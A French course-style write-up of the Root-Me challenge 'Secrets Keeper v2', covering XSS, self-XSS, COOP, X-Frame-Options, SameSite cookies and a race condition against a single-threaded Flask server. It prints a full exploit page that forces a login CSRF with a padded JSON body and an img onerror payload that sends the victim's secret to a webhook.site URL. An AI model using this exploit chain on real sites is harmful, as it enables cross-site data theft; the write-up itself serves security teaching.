

Self XSS & Race Condition

Cours complet - Web Client Security

Challenge Root-Me : Secrets Keeper v2

Auteur du challenge : Mizu | 60 Points

Table des matieres

1. Prerequis et fondamentaux du Web
2. Les cookies HTTP en detail
3. Cross-Site Scripting (XSS)
4. Self-XSS : quand le XSS ne touche que soi-meme
5. Cross-Origin-Opener-Policy (COOP)
6. X-Frame-Options (XFO)
7. SameSite cookies
8. Le serveur single-threaded (Werkzeug)
9. L'astuce enctype=text/plain pour du JSON CSRF
10. La Race Condition : concept et exploitation
11. Analyse du challenge Secrets Keeper v2
12. Construction de l'exploit pas a pas
13. Recapitulatif et schema final

1. Prerequis et fondamentaux du Web

1.1 Le modele requete/reponse HTTP

Le Web fonctionne sur un modele client-serveur. Le navigateur (client) envoie des **requetes HTTP** au serveur, qui repond avec des **reponses HTTP**. Chaque requete contient :

- **Une methode** : GET (lire), POST (envoyer des donnees), PUT, DELETE...
- **Des headers** : metadonnees (Cookie, Content-Type, User-Agent...)
- **Un body** (optionnel) : les donnees envoyees (formulaire, JSON...)

La reponse contient un **status code** (200 OK, 302 Redirect, 403 Forbidden...), des **headers de reponse** (Set-Cookie, Content-Type, COOP...) et un **body** (HTML, JSON...).

1.2 Same-Origin Policy (SOP)

La **Same-Origin Policy** est LA regle de securite fondamentale du navigateur. Deux pages sont **same-origin** si et seulement si elles partagent le meme :

Composant	Exemple	Same-origin ?
Protocole	http:// vs https://	Non
Domaine	site-a.com vs site-b.com	Non
Port	:80 vs :8080	Non
Tout identique	https://site.com:443	Oui

Si deux pages sont same-origin, elles peuvent lire le DOM l'une de l'autre (via opener, frames, etc.). Sinon, l'accès est bloqué par le navigateur. C'est cette politique que les attaques XSS contournent : en injectant du code dans une page same-origin avec la cible.

1.3 Le DOM (Document Object Model)

Le **DOM** est la representation en memoire de la page HTML sous forme d'arbre d'objets. JavaScript peut lire et modifier le DOM : `document.getElementById('text').innerText` lit le contenu textuel d'un element, `element.innerHTML` lit/écrit le HTML brut. C'est via `innerHTML` que notre XSS sera injecté.

1.4 window.open, opener et les Browsing Contexts

Quand une page appelle `window.open(url, 'nom')`, le navigateur ouvre une nouvelle fenetre (popup) dans un **browsing context**. La page ouverte a acces a `window.opener` qui pointe vers la fenetre parente. Si les deux sont same-origin, elles peuvent lire le DOM l'une de l'autre.

Les browsing contexts sont regroupees en **browsing context groups (BCG)**. Les fenetres d'un meme BCG peuvent se referencer mutuellement. C'est ici que COOP intervient pour casser ces liens.

2. Les cookies HTTP en detail

2.1 Fonctionnement de base

Un **cookie** est une petite donnee stockee par le navigateur, associee a un domaine. Le serveur le cree via le header `Set-Cookie` dans la reponse. Le navigateur le renvoie automatiquement dans le header `Cookie` pour chaque requete vers ce domaine.

```
Set-Cookie: session=abc123; HttpOnly; Path=/; SameSite=Lax
```

2.2 Le cookie jar (pot a cookies)

Le navigateur maintient un **cookie jar** : un stockage partage par toutes les fenetres/onglets pour un meme domaine. Si une popup sur `example.com` recoit un `Set-Cookie`, ce cookie est immediatement disponible pour toute autre fenetre qui fait une requete vers `example.com`. C'est ce mecanisme qui rend la race condition possible : changer le cookie dans une fenetre affecte toutes les autres.

Point crucial : un cookie est copie dans les headers de la requete **au moment ou la requete est envoyee**, pas au moment ou le serveur la traite. Si le cookie change apres l'envoi, la requete porte toujours l'ancien cookie.

2.3 Attributs importants des cookies

Attribut	Role	Impact sur le challenge
<code>HttpOnly</code>	Interdit l'accès JS au cookie	On ne peut pas lire le cookie via <code>document.cookie</code>
<code>Path=/</code>	Cookie envoye pour tout le site	Valable pour <code>/login</code> , <code>/profile</code> , <code>/api/me</code>
<code>SameSite=Lax</code>	Bloque le cookie sur les POST cross-site	Notre POST depuis <code>surge.sh</code> n'envoie PAS le cookie admin
(pas de <code>Secure</code>)	Cookie envoye en HTTP et HTTPS	Pas de restriction supplementaire

3. Cross-Site Scripting (XSS)

3.1 Definition

Le **Cross-Site Scripting (XSS)** est une vulnérabilité qui permet d'injecter du code JavaScript dans une page web consultée par un autre utilisateur. Le code injecté s'exécute dans le contexte de la page (same-origin), ce qui lui donne accès au DOM, aux cookies (si pas HttpOnly), et à toutes les API du navigateur.

3.2 Types de XSS

Type	Où est stocké le payload ?	Exemple
Reflected	Dans l'URL, réfléchi par le serveur dans la réponse	search?q=<script>alert(1)</script>
Stored	En base de données, affiché à chaque visite	Commentaire contenant du JS
DOM-based	Injecté côté client via JS (innerHTML, eval...)	text.innerHTML = userInput

3.3 Le sink innerHTML

Dans notre challenge, le **sink** (point d'injection) est `innerHTML`. Quand on écrit `element.innerHTML = chaîne`, le navigateur parse la chaîne comme du HTML. Si la chaîne contient des balises comme `<img src=x onerror=alert(1)>`, elles sont créées comme de vrais éléments DOM et le JavaScript dans les event handlers s'exécute.

```
// Code vulnérable du challenge : text.innerHTML =  
text.innerHTML.replace("{username}", d.username);
```

Si `d.username` contient du HTML, il est injecté tel quel dans le DOM.

3.4 Payload XSS utilise

```
<img src=x onerror=fetch('https://webhook.site/ID?d='  
+btoa(document.getElementById('text').innerText))>
```

Décomposition du payload :

- `<img src=x>` : crée une image avec une URL invalide
- `onerror=...` : handler exécute quand le chargement de l'image échoue
- `document.getElementById('text').innerText` : lit tout le texte de la section `#text` (qui contient le secret)
- `btoa(...)` : encode en base64 (pour transporter en URL sans caractères spéciaux)
- `fetch('webhook?d='+...)` : envoie le résultat vers notre serveur de capture

4. Self-XSS : quand le XSS ne touche que soi-meme

4.1 Le probleme

Un **Self-XSS** est un XSS qui ne s'execute que dans votre propre session. Exemple : vous vous loguez avec le username `<script>alert(1)</script>`, et le script s'execute sur votre propre page de profil. Mais personne d'autre ne voit votre username dans leur session - il est stocke dans VOTRE cookie de session.

En apparence, c'est inoffensif : vous ne pouvez XSSer que vous-meme. Mais en combinant avec d'autres techniques (CSRF, race condition), on peut forcer la victime a charger une page avec notre XSS actif.

4.2 Transformer un Self-XSS en attaque

L'idée est de faire un **login CSRF** : forcer le navigateur de la victime a se connecter sur NOTRE compte (celui avec le username XSS). La victime charge alors /profile avec notre session, et le XSS s'execute dans SON navigateur. A partir de la, le XSS peut lire des donnees de la victime si elles sont accessibles dans le meme contexte.

Le defi du challenge : on veut que le XSS s'execute dans le navigateur de l'admin, mais que la page affiche quand meme le **secret de l'admin** (pas le notre). C'est la que la race condition intervient.

5. Cross-Origin-Opener-Policy (COOP)

5.1 A quoi sert COOP ?

Le header `Cross-Origin-Opener-Policy` controle si une page peut etre referencee via `window.opener` par une page d'une autre origine. C'est une protection contre les attaques qui exploitent la relation `opener` entre fenetres.

Valeur	Comportement
<code>unsafe-none</code> (default)	Aucune restriction. <code>opener</code> fonctionne normalement entre origines.
<code>same-origin</code>	Seuls les documents <code>same-origin</code> avec le meme COOP gardent le lien <code>opener</code> . Tout le reste est coupe.
<code>same-origin-allow-popups</code>	Comme <code>same-origin</code> , mais les popups ouvertes par la page gardent le lien.

5.2 Mecanisme du BCG switch

Quand un document avec COOP: `same-origin` est charge dans une fenetre qui fait partie d'un BCG contenant des documents `cross-origin`, le navigateur :

1. Cree un **nouveau browsing context group** (BCG)
2. Deplace la fenetre dans ce nouveau BCG
3. `window.opener` devient `null` dans la fenetre deplacee
4. Le handle cote ouvrant voit `popup.closed === true`
5. Le **nom de la fenetre** est efface (vide)

Impact sur notre exploit : meme si les deux pages (notre exploit et `/profile`) sont chargees dans des fenetres separees, COOP coupe le lien `opener`. On ne peut plus faire `opener.document.body.innerText` comme dans le challenge precedent. C'est la protection principale ajoutee en v2.

5.3 Ce que COOP ne bloque PAS

- Le **cookie jar** reste partage : un `Set-Cookie` dans une fenetre affecte toutes les autres
- Un **form target** peut toujours initier une navigation vers une fenetre nommee
- Les requetes HTTP (GET, POST) fonctionnent normalement, seules les references JS sont coupees

6. X-Frame-Options (XFO)

Le header `X-Frame-Options: deny` empêche une page d'être chargée dans un `<iframe>`. C'est une protection contre le **clickjacking** et les attaques qui utilisent des iframes pour interagir avec la session de la victime.

Valeur	Comportement
deny	La page ne peut être affichée dans aucun iframe
sameorigin	Uniquement dans un iframe du même domaine
allow-from URI	Uniquement depuis l'URI spécifiée (dépréciée)

Impact : dans ce challenge, `/login` et `/profile` ont tous les deux `X-Frame-Options: deny`. Impossible d'utiliser des iframes pour charger ces pages et lire leur contenu via `parent.frames[0].document`.

7. SameSite cookies

7.1 Definition

L'attribut `SameSite` d'un cookie contrôle quand le navigateur envoie le cookie pour les requêtes **cross-site** (depuis un site différent).

Valeur	GET cross-site (top-level)	POST cross-site	Requêtes same-site
Strict	Non	Non	Oui
Lax (default)	Oui	Non	Oui
None	Oui	Oui	Oui

7.2 Impact sur notre exploit

Le cookie de session du challenge a `SameSite=Lax` (défaut Chrome). Quand notre page sur `surge.sh` soumet un formulaire POST vers `/login` :

- Le cookie `admin` n'est **PAS envoyé** avec le POST (cross-site POST bloqué par Lax)
- Le serveur ne voit **aucun cookie** et crée une **nouvelle session** avec notre `username XSS`
- Le `Set-Cookie` dans la réponse **écrase** le cookie `admin` dans le jar

C'est exactement ce qu'on veut ! On ne cherche pas à envoyer le cookie `admin`, on cherche à le **remplacer** par notre cookie XSS.

En revanche, quand le `main window` navigue vers `/profile` (top-level GET cross-site), `SameSite=Lax` **autorise** l'envoi du cookie. Donc le GET `/profile` part bien avec le cookie `admin` (s'il n'a pas encore

ete ecrase).

8. Le serveur single-threaded (Werkzeug)

8.1 Qu'est-ce qu'un serveur single-threaded ?

Le serveur du challenge utilise **Werkzeug**, le serveur de developpement de Flask (Python). Par default, Werkzeug est **single-threaded** : il ne traite qu'**une seule requete a la fois**. Toute requete arrivant pendant le traitement d'une autre est mise en **file d'attente** au niveau TCP et ne sera traitee qu'apres.

8.2 Pourquoi c'est crucial pour l'exploit

Si on envoie un POST avec un **body de 3MB**, le serveur doit lire les 3MB en entier avant de pouvoir traiter la requete (Flask appelle `request.get_json()` qui lit tout le body). Pendant ce temps :

1. Le serveur est **bloque en lecture** du body du POST
2. Le GET /profile arrive au serveur mais est **mis en file d'attente**
3. Le POST finit -> reponse avec Set-Cookie (cookie ecrase)
4. Le serveur traite le GET /profile (avec le cookie admin dans les headers de la requete)

Le cookie dans les headers d'une requete est fixe au moment de l'ENVOI, pas du traitement. Le GET /profile a ete envoye avec le cookie admin (avant que le Set-Cookie du POST n'arrive). Le serveur voit le cookie admin et renvoie le secret admin.

8.3 Schema temporel

Temps	Evenement	Cookie jar
t=0	POST /login part (3MB body)	session=ADMIN
t=0	Serveur commence a lire le body	session=ADMIN
t=200ms	GET /profile envoye (cookie ADMIN copie dans les headers)	session=ADMIN
t=200ms	GET mis en file d'attente (serveur occupe avec POST)	session=ADMIN
t=2s	POST fini -> Set-Cookie: session=XSS_USER	session=XSS_USER
t=2s	Serveur traite GET /profile (cookie ADMIN dans la requete)	session=XSS_USER
t=2.1s	Navigateur recoit /profile HTML avec le secret admin	session=XSS_USER
t=2.2s	onload -> fetch /api/me (avec cookie XSS_USER)	session=XSS_USER
t=2.3s	XSS fire ! Lit le secret admin depuis le DOM	session=XSS_USER

9. L'astuce enctype=text/plain pour du JSON CSRF

9.1 Le probleme : envoyer du JSON depuis un formulaire

Le serveur du challenge attend du JSON dans le body du POST /login (il utilise `request.get_json()` cote Flask). Normalement, un formulaire HTML envoie soit `application/x-www-form-urlencoded` (`username=foo&secret=bar`) soit `multipart/form-data`. Aucun des deux n'est du JSON valide.

Utiliser `fetch()` avec `Content-Type: application/json` depuis une page cross-origin declencherait un **preflight CORS** (requete OPTIONS) que le serveur ne gere probablement pas.

9.2 La solution : enctype=text/plain

Avec `enctype="text/plain"`, le navigateur envoie le body au format `nom=valeur` (litteralement). En choisissant astucieusement le nom et la valeur d'un input, on fabrique un body qui est du JSON valide :

```
<input name='{ "username": "XSS", "secret": "x", "pad": "" }' value='AAAA...' /> Body envoye  
par le navigateur : { "username": "XSS", "secret": "x", "pad": "AAAA..." }
```

Le `=` entre le name et la value fait partie du body. Il se retrouve au debut de la valeur du champ `"pad"` (qui est ignore par le serveur). Le resultat est du JSON parsable.

9.3 Pourquoi ca marche sans preflight

`text/plain` fait partie des **simple content types** selon la spec CORS. Les requetes avec un content-type simple ne declenchent PAS de preflight. Le navigateur envoie directement le POST, et le serveur recoit le body. Si Flask utilise `get_json(force=True)`, il parse le body comme du JSON quel que soit le Content-Type.

Verification par curl : on a confirme que le serveur accepte `text/plain` en envoyant une requete curl avec `-H "Content-Type: text/plain"` et un body JSON. Le serveur a repondu 200 OK avec un Set-Cookie valide.

10. La Race Condition : concept et exploitation

10.1 Definition

Une **race condition** (condition de course) se produit quand le resultat d'une operation depend de l'**ordre temporel** de deux evenements concurrents. Si cet ordre n'est pas garanti, un attaquant peut le manipuler pour obtenir un etat incoherent que le developpeur n'avait pas prevu.

10.2 La race dans ce challenge

La page /profile fait **deux requetes separees** pour se construire :

1. **GET /profile** (serveur) : le HTML contient le **secret** de la session courante
2. **GET /api/me** (client, via fetch dans onload) : retourne le **username** de la session courante

Ces deux requetes utilisent le cookie **au moment ou elles sont envoyees**. Si le cookie change entre les deux requetes :

Requete	Cookie utilise	Donnee retournee
GET /profile	Cookie ADMIN (avant le changement)	Secret de l'ADMIN
GET /api/me	Cookie XSS_USER (apres le changement)	Username XSS (payload)

Resultat : la page affiche le **secret admin** (du HTML initial) avec le **username XSS** (de /api/me). L'innerHTML injecte le payload, qui lit le secret depuis le DOM et l'exfiltre.

10.3 Pourquoi "Go slower..."

Le titre du challenge donne l'indice. Pour gagner la course, il faut **ralentir le POST /login** en envoyant un body enorme (3MB de padding). Le serveur single-threaded est bloque pendant la lecture du body, ce qui :

- Garantit que le GET /profile est envoye PENDANT que le POST est en cours (cookie admin encore actif)
- Force le serveur a traiter le POST en premier (il est arrive en premier dans la file)
- Le Set-Cookie arrive au navigateur AVANT la reponse de GET /profile
- Quand /profile charge et onload fire, le cookie est deja celui du XSS user

11. Analyse du challenge Secrets Keeper v2

11.1 Architecture de l'application

Endpoint	Methode	Role	Headers de securite
/login	GET	Affiche le formulaire	COOP: same-origin XFO: deny
/login	POST	Authentification (attend du JSON)	COOP: same-origin XFO: deny
/profile	GET	Affiche le profil (secret server-side)	COOP: same-origin XFO: deny
/api/me	GET	Retourne le username en JSON	COOP: same-origin XFO: deny
/report	POST	Soumet une URL au bot (admin)	-

11.2 Code source de /profile (cle de la vulnerabilite)

```
<section id="text"> <p>Welcome {username}, your secret is safe...</p> <p><u>Your  
secret</u>: SECRET_ICI</p> </section> <script> window.onload = () => {  
  fetch(/api/me).then(d => d.json()).then((d) => { text.innerHTML =  
    text.innerHTML.replace("{username}", d.username); }) } </script>
```

Deux mecanismes separe :

- Le **secret** est rendu **cote serveur** dans le HTML initial (template Jinja/Flask)
- Le **username** est charge **cote client** via fetch /api/me puis injecte via innerHTML
- Le username n'est PAS echappe avant injection -> **XSS via innerHTML**

11.3 Protections vs. challenge precedent (v1)

Element	v1 (Self XSS DOM)	v2 (Race Condition)
COOP	Aucun	same-origin sur toutes les pages
XFO	Aucun	deny sur toutes les pages
Login	Formulaire classique (form-encoded)	fetch() + JSON
Username affiche	Server-side (template)	Client-side (fetch /api/me + innerHTML)
Secret affiche	Server-side (template)	Server-side (template)
Exploit v1	opener.document pour lire le DOM cross-window	Bloque par COOP

12. Construction de l'exploit pas a pas

12.1 Vue d'ensemble de la strategie

On ne peut plus utiliser opener (bloque par COOP) ni les iframes (bloques par XFO). La strategie repose sur trois piliers :

1. **Cookie jar partage** : changer le cookie dans une fenetre affecte toutes les requetes
2. **Serveur single-threaded** : on controle l'ordre de traitement des requetes
3. **Separation secret/username** : le secret est server-side, le username est client-side

12.2 Etape 1 : ouvrir une popup

```
var w = window.open("about:blank", "loginWin");
```

On ouvre une fenetre vide nommee "loginWin". Elle servira de cible pour le formulaire de login. On utilise une popup plutot qu'un iframe car XFO: deny bloque les iframes.

12.3 Etape 2 : creer et soumettre le formulaire

```
var form = document.createElement("form"); form.method = "POST"; form.action = challenge + "/login"; form enctype = "text/plain"; form.target = "loginWin"; var input = document.createElement("input"); input.type = "hidden"; input.name = '{"username":"' + xss + '", "secret":"x", "pad":""}'; input.value = "A".repeat(3000000) + '{}'; form.appendChild(input); document.body.appendChild(form); form.submit();
```

Ce qui se passe :

- Le form.submit() envoie un POST vers /login du challenge
- Le target="loginWin" fait que la reponse s'affiche dans la popup (pas dans la fenetre principale)
- Le body contient 3MB de padding -> le serveur met du temps a lire
- SameSite=Lax : le cookie admin n'est PAS envoye (POST cross-site) -> nouvelle session creee

12.4 Etape 3 : naviguer vers /profile

```
setTimeout(function() { location.href = challenge + "/profile"; }, 200);
```

Pourquoi 200ms de delai ?

Le POST doit avoir commence a envoyer son body (pour occuper le serveur) avant qu'on envoie le GET /profile. 200ms laisse le temps au navigateur d'etablir la connexion TCP/TLS et de commencer l'upload des 3MB.

Le GET /profile part avec le **cookie admin** (le POST n'a pas encore fini, le Set-Cookie n'est pas encore arrive). C'est un top-level GET cross-site, donc SameSite=Lax autorise l'envoi du cookie.

12.5 Etape 4 : la race se joue

Cote serveur (single-threaded) :

1. Le POST /login arrive en premier (envoyé en premier). Le serveur lit les 3MB.
2. Le GET /profile arrive, est mis en file d'attente.
3. Le POST finit. Le serveur crée la session XSS et répond avec Set-Cookie.
4. Le serveur traite le GET /profile. Les headers de CETTE requête contiennent le cookie admin (copie à l'envoi).
5. Le serveur répond avec le HTML contenant le secret admin.

12.6 Etape 5 : le XSS fire

Cote navigateur :

1. La réponse du POST arrive -> Set-Cookie écrase le cookie admin par le cookie XSS
2. La réponse du GET /profile arrive -> HTML avec le secret admin rendu dans le DOM
3. window.onload fire -> fetch /api/me avec le cookie XSS (déjà écrase)
4. /api/me retourne {"username":""}
5. innerHTML.replace injecte le tag dans le DOM
6. L'image échoue à charger -> onerror s'exécute
7. fetch() envoie le secret admin (lu depuis le DOM) vers notre webhook

12.7 Code final de l'exploit

```
<!DOCTYPE html> <html> <body> <script> var challenge =  
"https://web-client-ch6.challenge01.root-me.org:58006"; var webhook =  
"https://webhook.site/VOTRE_ID"; var xss = "<img src=x onerror=fetch('" + webhook +  
"?d="+btoa(document.getElementById('text').innerText))>"; var w =  
window.open("about:blank", "loginWin"); var form = document.createElement("form");  
form.method = "POST"; form.action = challenge + "/login"; form.enctype =  
"text/plain"; form.target = "loginWin"; var input = document.createElement("input");  
input.type = "hidden"; input.name = '{"username":"' + xss + '", "secret":"x", "pad":""';  
input.value = "A".repeat(3000000) + '{}'; form.appendChild(input);  
document.body.appendChild(form); form.submit(); setTimeout(function() { location.href  
= challenge + "/profile"; }, 200); </script> </body> </html>
```

13. Recapitulatif et schema final

13.1 Chaine d'attaque complete

#	Action	Technique utilisee
1	Le bot (admin) visite notre page	URL soumise via /report
2	Notre page ouvre une popup vide	window.open('about:blank')
3	Notre page soumet un form POST vers /login avec un username XSS et 3MB de padding	enctype=text/plain (JSON CSRF trick) form.target = popup
4	Le serveur est bloqué en lecture du body de 3MB	Serveur single-threaded (Werkzeug)
5	Notre page navigue vers /profile (GET avec cookie admin)	SameSite=Lax autorise le GET top-level
6	POST finit -> Set-Cookie efface le cookie admin	Cookie jar partage entre fenetres
7	GET /profile traite avec le cookie admin (dans les headers)	Cookie fixe a l'envoi, pas au traitement
8	/profile charge avec le secret admin. onload fire.	Secret = server-rendered Username = client-side
9	fetch /api/me utilise le nouveau cookie -> retourne username XSS	Race condition gagnée ! Cookie déjà effacé
10	innerHTML injecte le XSS. onerror exfiltré le secret.	Self-XSS transforme en vrai XSS via la race

13.2 Glossaire rapide

Terme	Definition
XSS	Cross-Site Scripting : injection de JS dans une page web
Self-XSS	XSS qui ne s'exécute que dans sa propre session
CSRF	Cross-Site Request Forgery : forcer une action authentifiée
Login CSRF	Forcer la victime à se connecter sur le compte de l'attaquant
Race Condition	Bug lié à l'ordre temporel de deux opérations concurrentes
COOP	Cross-Origin-Opener-Policy : isole les browsing contexts cross-origin
BCG	Browsing Context Group : groupe de fenetres qui peuvent se référencer
XFO	X-Frame-Options : empêche le chargement en iframe
SameSite	Attribut cookie contrôlant l'envoi cross-site
Cookie Jar	Stockage partagé des cookies par domaine dans le navigateur
innerHTML	Propriété DOM qui parse et insère du HTML (sink XSS)
enctype	Attribut de formulaire définissant l'encodage du body
Single-threaded	Serveur qui ne traite qu'une requête à la fois

Werkzeug	Serveur de developpement Python (Flask), single-threaded par default
Padding	Donnees inutiles ajoutees pour ralentir le traitement
window.open	Ouvre une nouvelle fenetre/popup depuis JavaScript
form.target	Attribut qui designe la fenetre ou le form s'affiche
btoa()	Encode une chaine en base64 en JavaScript
fetch()	API JS pour faire des requetes HTTP asynchrones
onload	Evenement fire quand la page et ses ressources sont chargees
onerror	Evenement fire quand le chargement d'une ressource echoue